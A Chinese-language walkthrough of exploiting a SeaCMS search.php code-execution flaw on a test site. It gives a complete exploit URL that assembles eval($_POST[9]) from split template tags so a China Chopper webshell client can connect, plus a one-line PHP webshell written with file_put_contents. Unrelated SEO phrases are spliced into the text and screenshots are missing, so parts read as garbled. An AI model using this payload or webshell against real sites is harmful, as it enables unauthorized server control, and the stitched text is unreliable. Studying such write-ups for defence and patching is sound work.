實驗環境:海洋CMS6.54(后續版本已該洞已補)
1、后臺登錄嘗試
這個站點是個測試站,站里沒什么數據。
?進入admin.php,是帶驗證碼的后臺登錄系統,沒有驗證碼的可以用bp爆破。有驗證碼的也有一個爆破軟件,可以識別驗證碼的,但是試了試用不了。
shell腳本bash。后天失敗。。。
2、網上搜集該CMS的漏洞
剛才也說了,這個站沒什么數據,都是空的,無上傳點。
百度搜索海洋CMS的漏洞,有好幾個版本的。
1)v6.28:https://www.uedbox.com/seacms-v628-0day/
嘗試失敗,該版本的漏洞已不可用。
海洋cms好用嗎。2)v6.45:參考 https://www.freebuf.com/vuls/150042.html? 和? https://bbs.ichunqiu.com/thread-35140-1-5.html?
漏洞是search.php的任意代碼執行漏洞,
首頁有許多的查詢選項,我們隨便選一個:
?看到url:
?然后使用hackbar進行上傳:
shell打開網頁,
?執行payload后看到:(如果失敗,換一個查詢方式)
?說明我們payload里的phpInfo()函數執行成功,該漏洞已成功被利用。
3、運用system()執行命令
將payload稍作修改:
海洋cms占用大量空間、
?在system()中就可以在服務器上執行命令了,但權限可能不夠,如果權限可以的話,可以利用該語句寫入一句話木馬:
file_put_concents("connect.php","<?php @eval($_POST[pass]);?>"),然后連接菜刀即可。
這里只有讀的權限,無法寫入一句話。
4、拿shell
這是一個騷操作吧,嘗試了很多次,網上查了一大堆,最終還是卡死,幸好有學長指點迷津,方柳暗花明。
海洋cms動態模式、還是用一句話連接,用system()無法寫入,但可以這樣連接。
首先看懂這個payload,我們知道phpinfo()執行成功,可能不太清楚原理,但大致能看懂,phpinfo()是利用這么一個漏洞,分開來寫的(payload最后):9[]=ph&9[]=pinfo()。我們payload前面看,原來有一個分開的eval ($_POST[9])呀,這不是一句話嘛。但是要怎么利用呢,無法寫入php文件的呀。
這個操作騷就騷在了用url來傳遞這個payload,而且只需傳過去就能用菜刀連上。
利用payload構造url:http://222.22.65.134:15001/HaiYangCMS/search.php?searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))
放入菜刀,那密碼是什么呢,是9[],不是9。
海洋cms標簽,
?于是乎,連接成功。